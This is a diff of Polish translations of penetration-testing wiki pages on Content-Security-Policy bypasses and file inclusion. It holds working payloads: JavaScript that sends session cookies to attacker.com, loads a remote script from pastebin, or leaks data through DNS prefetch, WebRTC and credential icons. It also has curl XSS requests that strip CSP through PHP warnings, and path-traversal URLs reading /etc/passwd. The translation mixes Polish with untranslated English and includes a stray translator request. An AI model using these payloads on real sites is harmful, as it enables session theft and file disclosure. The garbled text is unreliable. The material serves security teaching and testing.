```
|
||||
W [**tym opisie CTF**](https://github.com/aszx87410/ctf-writeups/issues/48) możliwe było poprzez **wstrzykiwanie HTML** **ograniczenie** bardziej **CSP**, co spowodowało, że skrypt zapobiegający CSTI został wyłączony, a zatem **vulnerability stała się wykonalna.**\
|
||||
CSP można uczynić bardziej restrykcyjnym, używając **tagów meta HTML**, a skrypty inline można wyłączyć **usuwając** **wejście** pozwalające na ich **nonce** oraz **włączając konkretny skrypt inline za pomocą sha**:
|
||||
W [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), możliwe było poprzez **HTML injection** dodatkowo **restrict** **CSP**, dzięki czemu skrypt zapobiegający CSTI został wyłączony i w konsekwencji **vulnerability became exploitable.**\
|
||||
CSP można uczynić bardziej restrykcyjnym używając **HTML meta tags**, a inline scripts można wyłączyć poprzez **removing** **entry** umożliwiający ich **nonce** i **enable specific inline script via sha**:
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -571,51 +572,69 @@ content="script-src 'self'
|
||||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
|
||||
```
|
||||
### JS exfiltracja z Content-Security-Policy-Report-Only
|
||||
### JS exfiltration z Content-Security-Policy-Report-Only
|
||||
|
||||
Jeśli uda ci się sprawić, że serwer odpowie nagłówkiem **`Content-Security-Policy-Report-Only`** z **wartością kontrolowaną przez ciebie** (może z powodu CRLF), możesz skierować go na swój serwer, a jeśli **owiniesz** **treść JS**, którą chcesz wyeksfiltrować, w **`<script>`** i ponieważ bardzo prawdopodobne, że `unsafe-inline` nie jest dozwolone przez CSP, to **wywoła błąd CSP** i część skryptu (zawierająca wrażliwe informacje) zostanie wysłana do serwera z `Content-Security-Policy-Report-Only`.
|
||||
Jeśli uda ci się sprawić, że serwer odpowie nagłówkiem **`Content-Security-Policy-Report-Only`** z **wartością kontrolowaną przez ciebie** (np. z powodu CRLF), możesz sprawić, że będzie on wskazywał na twój serwer, a jeśli **opakujesz** **JS content**, który chcesz exfiltrate, w **`<script>`**, i ponieważ jest bardzo prawdopodobne, że `unsafe-inline` nie jest dozwolone przez CSP, spowoduje to **wywołanie błędu CSP**, a część skryptu (zawierająca wrażliwe informacje) zostanie wysłana do serwera przez `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Dla przykładu [**sprawdź ten opis CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
Dla przykładu [**zobacz ten CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||||
```javascript
|
||||
document.querySelector("DIV").innerHTML =
|
||||
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
|
||||
```
|
||||
### Wyciekanie informacji za pomocą CSP i Iframe
|
||||
### Leaking informacji przy użyciu CSP i Iframe
|
||||
|
||||
- Tworzy się `iframe`, który wskazuje na URL (nazwijmy go `https://example.redirect.com`), który jest dozwolony przez CSP.
|
||||
- Ten URL następnie przekierowuje do tajnego URL (np. `https://usersecret.example2.com`), który jest **niedozwolony** przez CSP.
|
||||
- Słuchając zdarzenia `securitypolicyviolation`, można przechwycić właściwość `blockedURI`. Ta właściwość ujawnia domenę zablokowanego URI, wyciekając tajną domenę, do której początkowy URL przekierował.
|
||||
- Tworzony jest `iframe`, który wskazuje na URL (nazwijmy go `https://example.redirect.com`), który jest dozwolony przez CSP.
|
||||
- Ten URL następnie przekierowuje do sekretnego URL (np. `https://usersecret.example2.com`), który jest **nie dozwolony** przez CSP.
|
||||
- Nasłuchując zdarzenia `securitypolicyviolation`, można przechwycić właściwość `blockedURI`. Ta właściwość ujawnia domenę zablokowanego URI, leaking sekretną domenę, na którą przekierowywał początkowy URL.
|
||||
|
||||
Interesujące jest to, że przeglądarki takie jak Chrome i Firefox mają różne zachowania w obsłudze iframe'ów w odniesieniu do CSP, co prowadzi do potencjalnego wycieku wrażliwych informacji z powodu nieokreślonego zachowania.
|
||||
Warto zauważyć, że przeglądarki takie jak Chrome i Firefox zachowują się inaczej w obsłudze iframe w kontekście CSP, co może prowadzić do potencjalnej leakage wrażliwych informacji z powodu nieokreślonego zachowania.
|
||||
|
||||
Inna technika polega na wykorzystaniu samego CSP do wydedukowania tajnej subdomeny. Metoda ta opiera się na algorytmie wyszukiwania binarnego i dostosowywaniu CSP, aby uwzględnić konkretne domeny, które są celowo zablokowane. Na przykład, jeśli tajna subdomena składa się z nieznanych znaków, można iteracyjnie testować różne subdomeny, modyfikując dyrektywę CSP, aby zablokować lub zezwolić na te subdomeny. Oto fragment pokazujący, jak CSP może być skonfigurowane, aby ułatwić tę metodę:
|
||||
Inna technika polega na wykorzystaniu samego CSP do odgadnięcia sekretnej subdomeny. Ta metoda opiera się na algorytmie wyszukiwania binarnego i dostosowywaniu CSP tak, aby zawierał konkretne domeny, które są celowo zablokowane. Na przykład, jeśli sekretny subdomen składa się z nieznanych znaków, można iteracyjnie testować różne subdomeny, modyfikując dyrektywę CSP, aby zablokować lub zezwolić na te subdomeny. Oto fragment pokazujący, jak CSP może być skonfigurowane, aby ułatwić tę metodę:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
Monitorując, które żądania są blokowane lub dozwolone przez CSP, można zawęzić możliwe znaki w tajnym subdomenie, ostatecznie odkrywając pełny URL.
|
||||
Monitorując, które żądania są blokowane lub dozwolone przez CSP, można zawęzić możliwe znaki w sekretnej subdomenie, ostatecznie odsłaniając pełny URL.
|
||||
|
||||
Obie metody wykorzystują niuanse implementacji i zachowania CSP w przeglądarkach, pokazując, jak pozornie bezpieczne polityki mogą nieumyślnie ujawniać wrażliwe informacje.
|
||||
Obie metody wykorzystują niuanse implementacji CSP i zachowanie przeglądarek, pokazując, jak pozornie bezpieczne polityki mogą niezamierzenie leak wrażliwe informacje.
|
||||
|
||||
Sztuczka z [**tutaj**](https://ctftime.org/writeup/29310).
|
||||
Trick from [**here**](https://ctftime.org/writeup/29310).
|
||||
|
||||
## Niebezpieczne technologie do obejścia CSP
|
||||
## Niebezpieczne technologie do Bypass CSP
|
||||
|
||||
### Błędy PHP przy zbyt wielu parametrach
|
||||
### PHP - błędy przy zbyt wielu params
|
||||
|
||||
Zgodnie z [**ostatnią techniką skomentowaną w tym wideo**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), wysyłanie zbyt wielu parametrów (1001 parametrów GET, chociaż można to również zrobić z parametrami POST i więcej niż 20 plikami). Każdy zdefiniowany **`header()`** w kodzie PHP **nie zostanie wysłany** z powodu błędu, który to wywoła.
|
||||
Zgodnie z [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), wysłanie zbyt wielu parametrów (1001 GET parameters chociaż można to też zrobić z POST params oraz przy >20 plikach). Każde zdefiniowane **`header()`** w kodzie PHP **nie zostanie wysłane** z powodu błędu, który to wywoła.
|
||||
|
||||
### Przepełnienie bufora odpowiedzi PHP
|
||||
|
||||
PHP jest znane z **buforowania odpowiedzi do 4096** bajtów domyślnie. Dlatego, jeśli PHP wyświetla ostrzeżenie, dostarczając **wystarczająco dużo danych w ostrzeżeniach**, **odpowiedź** zostanie **wysłana** **przed** **nagłówkiem CSP**, powodując, że nagłówek zostanie zignorowany.\
|
||||
Technika polega zasadniczo na **wypełnieniu bufora odpowiedzi ostrzeżeniami**, aby nagłówek CSP nie został wysłany.
|
||||
PHP jest znany z **buforowania odpowiedzi do 4096** bajtów domyślnie. Dlatego, jeśli PHP wygeneruje ostrzeżenie, dostarczając **wystarczająco dużo danych w tych ostrzeżeniach**, **odpowiedź** zostanie **wysłana** **przed** **CSP header**, powodując jego zignorowanie.\
|
||||
Technika polega zasadniczo na **wypełnieniu bufora odpowiedzi ostrzeżeniami**, tak aby nagłówek CSP nie został wysłany.
|
||||
|
||||
Pomysł z [**tego opisu**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### Przepisanie strony błędu
|
||||
### Wyłączenie CSP przez max_input_vars (headers already sent)
|
||||
|
||||
Z [**tego opisu**](https://blog.ssrf.kr/69) wygląda na to, że możliwe było obejście ochrony CSP poprzez załadowanie strony błędu (potencjalnie bez CSP) i przepisanie jej treści.
|
||||
Ponieważ nagłówki muszą być wysłane przed jakimkolwiek outputem, ostrzeżenia generowane przez PHP mogą unieważnić późniejsze wywołania `header()`. Jeśli dane od użytkownika przekroczą `max_input_vars`, PHP najpierw zgłosi startup warning; każde późniejsze `header('Content-Security-Policy: ...')` zakończy się niepowodzeniem z komunikatem “headers already sent”, skutecznie wyłączając CSP i pozwalając na reflective XSS, które w innym wypadku byłyby zablokowane.
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
echo $_GET['xss'];
|
||||
```
|
||||
Proszę wklej zawartość pliku README.md (z katalogu src/pentesting-web/content-security-policy-csp-bypass/) do przetłumaczenia.
|
||||
```bash
|
||||
# CSP in place → payload blocked by browser
|
||||
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
|
||||
|
||||
# Exceed max_input_vars to force warnings before header() → CSP stripped
|
||||
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
|
||||
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
|
||||
# Warning: Cannot modify header information - headers already sent
|
||||
```
|
||||
### Przepisywanie strony błędu
|
||||
|
||||
Z [**this writeup**](https://blog.ssrf.kr/69) wynika, że możliwe było bypass zabezpieczenia CSP przez załadowanie strony błędu (potencjalnie bez CSP) i przepisanie jej zawartości.
|
||||
```javascript
|
||||
a = window.open("/" + "x".repeat(4100))
|
||||
setTimeout(function () {
|
||||
@ -624,41 +643,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME to technika, która wykorzystuje XSS (lub bardzo ograniczone XSS) **w punkcie końcowym strony** do **wykorzystania** **innych punktów końcowych tej samej domeny.** Dzieje się to poprzez załadowanie podatnego punktu końcowego z strony atakującego, a następnie odświeżenie strony atakującego do rzeczywistego punktu końcowego w tej samej domenie, który chcesz wykorzystać. W ten sposób **podatny punkt końcowy** może użyć obiektu **`opener`** w **ładunku** do **dostępu do DOM** rzeczywistego punktu końcowego, który chcesz wykorzystać. Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
SOME to technika, która wykorzystuje XSS (lub wysoce ograniczony XSS) **w endpointzie strony** do **nadużywania** **innych endpointów tej samej origin.** Odbywa się to przez załadowanie podatnego endpointu ze strony attacker i następnie odświeżenie strony attacker do prawdziwego endpointu w tej samej origin, którą chcesz nadużyć. W ten sposób **podatny endpoint** może użyć obiektu **`opener`** w **payload**, aby **uzyskać dostęp do DOM** prawdziwego endpointu, który ma być nadużyty. Więcej informacji sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
{{#endref}}
|
||||
|
||||
Ponadto, **wordpress** ma punkt końcowy **JSONP** w `/wp-json/wp/v2/users/1?_jsonp=data`, który **odzwierciedli** **dane** wysłane w odpowiedzi (z ograniczeniem do liter, cyfr i kropek).
|
||||
Co więcej, **wordpress** ma endpoint **JSONP** w `/wp-json/wp/v2/users/1?_jsonp=data`, który będzie **odzwierciedlać** wysłane **data** w output (z ograniczeniem do liter, cyfr i kropek).
|
||||
|
||||
Atakujący może wykorzystać ten punkt końcowy do **wygenerowania ataku SOME** przeciwko WordPressowi i **osadzić** go w `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`, zauważ, że ten **skrypt** zostanie **załadowany**, ponieważ jest **dozwolony przez 'self'**. Ponadto, ponieważ WordPress jest zainstalowany, atakujący może wykorzystać **atak SOME** poprzez **podatny** **punkt końcowy callback**, który **omija CSP**, aby dać więcej uprawnień użytkownikowi, zainstalować nową wtyczkę...\
|
||||
Aby uzyskać więcej informacji na temat tego, jak przeprowadzić ten atak, sprawdź [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
Attacker może wykorzystać ten endpoint, aby **wygenerować a SOME attack** przeciwko WordPress i **osadzić** go wewnątrz `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` — zwróć uwagę, że ten **script** zostanie **wczytany**, ponieważ jest **dozwolony przez 'self'**. Co więcej, i ponieważ WordPress jest zainstalowany, attacker może wykorzystać **SOME attack** przez podatny **callback** endpoint, który **bypasses the CSP**, aby nadać użytkownikowi większe uprawnienia, zainstalować nowy plugin...\
|
||||
For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
|
||||
Jeśli istnieje surowy CSP, który nie pozwala na **interakcję z zewnętrznymi serwerami**, istnieje kilka rzeczy, które zawsze możesz zrobić, aby wyekstrahować informacje.
|
||||
If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information.
|
||||
|
||||
### Location
|
||||
|
||||
Możesz po prostu zaktualizować lokalizację, aby wysłać poufne informacje do serwera atakującego:
|
||||
You could just update the location to send to the attacker's server the secret information:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split("=")[1] + "."
|
||||
document.location = "https://attacker.com/?" + sessionid
|
||||
```
|
||||
### Meta tag
|
||||
### Znacznik meta
|
||||
|
||||
Możesz przekierować, wstrzykując tag meta (to jest tylko przekierowanie, to nie ujawnia treści)
|
||||
Możesz przekierować, wstrzykując znacznik meta (to jest tylko przekierowanie, to nie spowoduje leak zawartości)
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com" />
|
||||
```
|
||||
### DNS Prefetch
|
||||
|
||||
Aby ładować strony szybciej, przeglądarki będą wstępnie rozwiązywać nazwy hostów na adresy IP i przechowywać je w pamięci podręcznej do późniejszego użycia.\
|
||||
Możesz wskazać przeglądarkę, aby wstępnie rozwiązała nazwę hosta za pomocą: `<link rel="dns-prefetch" href="something.com">`
|
||||
Aby szybciej ładować strony, przeglądarki będą wstępnie rozwiązywać nazwy hostów na adresy IP i buforować je do późniejszego użycia.\
|
||||
Możesz wskazać przeglądarce, aby wstępnie rozwiązała nazwę hosta za pomocą: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
Możesz nadużyć tego zachowania, aby **wyekstrahować wrażliwe informacje za pomocą zapytań DNS**:
|
||||
Możesz nadużyć tego zachowania, aby **exfiltrate sensitive information via DNS requests**:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split("=")[1] + "."
|
||||
var body = document.getElementsByTagName("body")[0]
|
||||
@ -680,13 +698,13 @@ Aby temu zapobiec, serwer może wysłać nagłówek HTTP:
|
||||
X-DNS-Prefetch-Control: off
|
||||
```
|
||||
> [!TIP]
|
||||
> Najwyraźniej ta technika nie działa w przeglądarkach bez interfejsu graficznego (boty)
|
||||
> Najwyraźniej ta technika nie działa w headless browsers (bots)
|
||||
|
||||
### WebRTC
|
||||
|
||||
Na kilku stronach można przeczytać, że **WebRTC nie sprawdza polityki `connect-src`** CSP.
|
||||
Na kilku stronach można przeczytać, że **WebRTC nie sprawdza polityki `connect-src` w CSP**.
|
||||
|
||||
W rzeczywistości można _leak_ informacje za pomocą _żądania DNS_. Sprawdź ten kod:
|
||||
W rzeczywistości możesz _leak_ informacje używając _DNS request_. Sprawdź ten kod:
|
||||
```javascript
|
||||
;(async () => {
|
||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||||
@ -708,7 +726,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
### CredentialsContainer
|
||||
|
||||
Popup z poświadczeniami wysyła żądanie DNS do iconURL bez ograniczeń na stronie. Działa tylko w bezpiecznym kontekście (HTTPS) lub na localhost.
|
||||
Wyskakujące okienko poświadczeń wysyła zapytanie DNS do iconURL bez ograniczeń nałożonych przez stronę. Działa tylko w bezpiecznym kontekście (HTTPS) lub na localhost.
|
||||
```javascript
|
||||
navigator.credentials.store(
|
||||
new FederatedCredential({
|
||||
@ -728,7 +746,7 @@ iconURL:"https:"+your_data+"example.com"
|
||||
|
||||
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
|
||||
|
||||
## Odniesienia
|
||||
## Źródła
|
||||
|
||||
- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
|
||||
- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
|
||||
@ -738,6 +756,7 @@ iconURL:"https:"+your_data+"example.com"
|
||||
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
|
||||
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
|
||||
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
|
||||
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
## File Inclusion
|
||||
|
||||
**Remote File Inclusion (RFI):** Plik jest ładowany z zdalnego serwera (Najlepiej: możesz napisać kod i serwer go wykona). W php jest to domyślnie **wyłączone** (**allow_url_include**).\
|
||||
**Remote File Inclusion (RFI):** Plik jest ładowany z serwera zdalnego (Najlepiej: możesz napisać kod i serwer go wykona). W php jest to **wyłączone** domyślnie (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** Serwer ładuje lokalny plik.
|
||||
|
||||
Luka występuje, gdy użytkownik w jakiś sposób może kontrolować plik, który ma zostać załadowany przez serwer.
|
||||
Luka występuje, gdy użytkownik w pewien sposób kontroluje plik, który ma zostać załadowany przez serwer.
|
||||
|
||||
Funkcje **PHP** podatne: require, require_once, include, include_once
|
||||
Funkcje **PHP** podatne na atak: require, require_once, include, include_once
|
||||
|
||||
Ciekawe narzędzie do wykorzystania tej podatności: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
Ciekawe narzędzie do eksploatacji tej luki: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Blind - Interesting - LFI2RCE files
|
||||
```python
|
||||
@ -19,17 +19,17 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**Łącząc kilka list LFI \*nix i dodając więcej ścieżek, stworzyłem tę jedną:**
|
||||
**Mieszając kilka \*nix list LFI i dodając więcej ścieżek stworzyłem tę:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Spróbuj także zmienić `/` na `\`\
|
||||
Spróbuj także zamienić `/` na `\`\
|
||||
Spróbuj także dodać `../../../../../`
|
||||
|
||||
Listę, która używa kilku technik do znalezienia pliku /etc/password (aby sprawdzić, czy vulnerability istnieje) można znaleźć [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
Lista, która używa kilku technik do znalezienia pliku /etc/password (aby sprawdzić, czy luka istnieje) znajduje się [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
@ -40,22 +40,22 @@ Połączenie różnych wordlists:
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Spróbuj także zmienić `/` na `\`\
|
||||
Spróbuj także zamienić `/` na `\`\
|
||||
Spróbuj także usunąć `C:/` i dodać `../../../../../`
|
||||
|
||||
Listę, która używa kilku technik do znalezienia pliku /boot.ini (aby sprawdzić, czy vulnerability istnieje) można znaleźć [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
Lista, która używa kilku technik do znalezienia pliku /boot.ini (aby sprawdzić, czy luka istnieje) znajduje się [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
Sprawdź listę LFI dla Linux.
|
||||
Sprawdź listę LFI linux.
|
||||
|
||||
## Podstawowe LFI i obejścia
|
||||
|
||||
Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być też zastosowane do Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zastosowane do Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### traversal sequences usuwane nierekursywnie
|
||||
### sekwencje traversal usuwane nierekurencyjnie
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Bypass omijający dodawanie dodatkowych znaków na końcu podanego łańcucha (bypass of: $\_GET\['param']."php")
|
||||
Bypass dodawania dodatkowych znaków na końcu podanego ciągu (bypass of: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### Z istniejącego folderu
|
||||
|
||||
Być może back-end sprawdza ścieżkę folderu:
|
||||
Może back-end sprawdza ścieżkę folderu:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Eksploracja katalogów systemu plików na serwerze
|
||||
|
||||
System plików serwera można przeszukiwać rekursywnie, aby zidentyfikować katalogi, nie tylko pliki, stosując określone techniki. Proces ten obejmuje ustalenie głębokości katalogu i sprawdzanie istnienia konkretnych katalogów. Poniżej znajduje się szczegółowa metoda, jak to osiągnąć:
|
||||
System plików serwera można eksplorować rekurencyjnie, aby zidentyfikować katalogi, nie tylko pliki, stosując określone techniki. Proces ten obejmuje ustalenie głębokości katalogu oraz sprawdzanie istnienia konkretnych folderów. Poniżej znajduje się szczegółowa metoda, jak to osiągnąć:
|
||||
|
||||
1. **Określ głębokość katalogu:** Ustal głębokość bieżącego katalogu poprzez pomyślne pobranie pliku /etc/passwd (dotyczy serwerów opartych na Linuksie). Przykładowy URL może wyglądać następująco, wskazując głębokość 3:
|
||||
1. **Określ głębokość katalogu:** Ustal głębokość bieżącego katalogu przez pomyślne pobranie pliku `/etc/passwd` (dotyczy, jeśli serwer działa pod Linux). Przykładowy URL może być zbudowany w następujący sposób, wskazując głębokość równą trzem:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Probe for Folders:** Dodaj nazwę podejrzanego folderu (np. `private`) do URL, a następnie wróć do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
|
||||
2. **Skanuj katalogi:** Dołącz nazwę podejrzanego folderu (np. `private`) do URL, a następnie wróć do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Interpretacja wyników:** Odpowiedź serwera wskazuje, czy folder istnieje:
|
||||
- **Błąd / Brak wyjścia:** Folder `private` prawdopodobnie nie istnieje pod wskazaną ścieżką.
|
||||
- **Zawartość `/etc/passwd`:** Potwierdzono obecność folderu `private`.
|
||||
4. **Eksploracja rekurencyjna:** Odkryte foldery można dalej sprawdzać pod kątem podkatalogów lub plików używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
|
||||
3. **Zinterpretuj wyniki:** Odpowiedź serwera wskazuje, czy folder istnieje:
|
||||
- **Błąd / Brak wyjścia:** Folder `private` prawdopodobnie nie istnieje w określonej lokalizacji.
|
||||
- **Zawartość `/etc/passwd`:** Potwierdza to obecność folderu `private`.
|
||||
4. **Eksploracja rekurencyjna:** Odnalezione foldery można dalej badać w poszukiwaniu podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
|
||||
|
||||
Dla eksploracji katalogów w innych lokalizacjach systemu plików, odpowiednio dostosuj payload. Na przykład, aby sprawdzić, czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj:
|
||||
Dla eksploracji katalogów w innych lokalizacjach systemu plików, dostosuj payload odpowiednio. Na przykład, aby sprawdzić czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog jest na głębokości 3), użyj:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Path truncation is a method employed to manipulate file paths in web applications. Często jest wykorzystywana do uzyskania dostępu do plików z ograniczonym dostępem przez obejście mechanizmów bezpieczeństwa, które dopisują dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która po zmodyfikowaniu przez mechanizm bezpieczeństwa nadal będzie wskazywać na żądany plik.
|
||||
Path truncation jest metodą stosowaną do manipulowania ścieżkami plików w aplikacjach webowych. Często wykorzystywana jest do uzyskania dostępu do plików objętych ograniczeniami przez obejście pewnych mechanizmów bezpieczeństwa, które dopisują dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która po zmianie przez mechanizm bezpieczeństwa nadal wskazuje żądany plik.
|
||||
|
||||
In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. Na przykład:
|
||||
W PHP różne reprezentacje ścieżki pliku mogą być traktowane jako równoważne ze względu na charakter systemu plików. Na przykład:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
|
||||
- Gdy ostatnie 6 znaków to `passwd`, dopisanie `/` (tworząc `passwd/`) nie zmienia docelowego pliku.
|
||||
- Podobnie, jeśli do ścieżki pliku dopisane jest `.php` (np. `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego uzyskiwany jest dostęp.
|
||||
- Podobnie, jeśli do ścieżki pliku dopisano `.php` (np. `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego następuje dostęp.
|
||||
|
||||
Poniższe przykłady pokazują, jak wykorzystać path truncation do uzyskania dostępu do `/etc/passwd`, częstego celu ze względu na jego wrażliwe dane (informacje o kontach użytkowników):
|
||||
Poniższe przykłady pokazują, jak wykorzystać path truncation do uzyskania dostępu do `/etc/passwd`, częstego celu ze względu na jego poufną zawartość (informacje o kontach użytkowników):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -125,13 +125,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
W tych scenariuszach liczba potrzebnych traversals może wynosić około 2027, ale liczba ta może się różnić w zależności od konfiguracji serwera.
|
||||
W tych scenariuszach liczba potrzebnych traversals może wynosić około 2027, ale ta wartość może się różnić w zależności od konfiguracji serwera.
|
||||
|
||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) połączone z dodatkowymi dot segments i znakami mogą być użyte do nawigacji po systemie plików, skutecznie ignorując przez serwer dołączone ciągi znaków.
|
||||
- **Determining the Required Number of Traversals**: Metodą prób i błędów można ustalić dokładną liczbę sekwencji `../` potrzebnych do przejścia do katalogu root, a następnie do `/etc/passwd`, zapewniając, że wszelkie dołączone ciągi (np. `.php`) zostaną zneutralizowane, podczas gdy żądana ścieżka (`/etc/passwd`) pozostanie nienaruszona.
|
||||
